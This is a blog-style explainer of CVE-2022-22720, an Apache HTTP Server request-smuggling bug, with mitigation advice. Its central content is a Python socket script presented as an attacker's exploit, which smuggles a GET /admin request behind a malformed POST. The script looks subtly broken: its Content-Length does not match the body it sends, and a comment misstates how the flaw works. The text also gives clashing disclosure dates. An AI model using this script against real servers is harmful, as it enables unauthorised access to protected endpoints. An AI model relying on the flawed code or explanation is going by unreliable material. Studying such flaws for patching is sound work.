In January 2022, Apache disclosed CVE-2022-22720, a severe vulnerability affecting Apache HTTP Server versions 2.4.52 and earlier. The issue? The server doesn't close inbound connections when it hits errors while discarding request bodies. This opens the door to an old but dangerous attack: HTTP Request Smuggling.

This post explains how CVE-2022-22720 works, why it matters, and provides code and links for further research. Everything here is clear and hands-on — no jargon, just the code and concepts you need to know.

What is HTTP Request Smuggling?

HTTP Request Smuggling is a vulnerability that arises when servers or components interpret HTTP requests differently. Usually, it's exploited when there’s a mismatch between how a frontend (like a load balancer or reverse proxy) and a backend (like Apache) parse HTTP request boundaries.

Attackers can sneak extra requests past security controls, hijack sessions, steal data, or even execute commands. With CVE-2022-22720, because Apache fails to close bad connections, malicious requests may "smuggle" through, blending into legitimate traffic.

Technical Details: Why CVE-2022-22720 Happens

In plain terms:  
When Apache receives a malformed or incomplete HTTP request, it should close the connection and not allow any new requests on that connection. But, in affected versions, Apache sometimes keeps the connection open after an error. This allows attackers to sneak in additional, unauthorized HTTP requests.

What’s going on under the hood?

- When Apache detects an error and discards incoming data, it doesn’t always call close() on the connection.
- This leaves the TCP connection open, and if the server expects to read a new request from the next bytes, an attacker can send in more HTTP requests – even after the server missed a protocol violation.

Example: Attack Scenario

Imagine this: You have a frontend proxy (like Nginx) and Apache as a backend.

Nginx expects one request per connection and passes it to Apache.

- An attacker sends two requests on the same connection using special headers, with the second one being a "smuggled" request.

Due to the bug, Apache doesn't close the TCP connection after it hits an error tossing out the first request body — so it starts processing the second (malicious) request.

Here’s a basic Python script showing how an attacker might exploit CVE-2022-22720

import socket

host = 'your-apache-server.example.com'
port = 80

smuggle_payload = (
    "POST /legit-path HTTP/1.1\r\n"
    "Host: {}\r\n"
    "Content-Length: 10\r\n"
    "Content-Type: application/x-www-form-urlencoded\r\n"
    "\r\n"
    "badbody\r\n"
    # No further \r\n after payload, simulating an error/discard state
    "GET /admin HTTP/1.1\r\n"
    "Host: {}\r\n"
    "\r\n"
).format(host, host)

with socket.create_connection((host, port)) as s:
    s.sendall(smuggle_payload.encode())
    response = s.recv(4096)
    print(response.decode())

What happens:
- The first request claims to POST to /legit-path with a body size of 10 bytes, but only sends partial data.

Instead of closing the connection on this error, Apache tries to read the next bytes.

- The attacker then sends GET /admin, which Apache now interprets as a fresh new request from the same connection — effectively smuggling it in.

Poisoning HTTP pipelines: Malicious requests queue up, contaminating legitimate traffic.

Affected versions:  
Apache HTTP Server 2.4.52 and earlier.

Patched in:  
Apache 2.4.53 and above.

If you run Apache HTTPD

1. Upgrade now: Download latest Apache here.

Block suspicious HTTP requests containing unusual Content-Length or Transfer-Encoding headers.

- Restrict access to sensitive endpoints (like /admin) from internal networks only.

Official References

- Apache Security Advisory for CVE-2022-22720
- NIST NVD Entry
- HTTP Request Smuggling Explained (PortSwigger)

Conclusion

CVE-2022-22720 is a textbook case of why protocol errors matter. Apache’s failure to close connections properly can let attackers sneak in dangerous requests, fly under security radars, and disrupt your apps.

Updating Apache is the only real solution — but now you know exactly how and why to fix it.

Keep your software patched, monitor your logs, and stay safe!

*If you found this breakdown useful, consider bookmarking for future reference or sharing it with your DevOps/SecOps team!*


Further reading:  
- https://labs.bishopfox.com/tech-blog/http-request-smuggling
- https://owasp.org/www-community/attacks/HTTP_Request_Smuggling

Timeline

Published on: 03/14/2022 11:15:00 UTC
Last modified on: 08/15/2022 11:17:00 UTC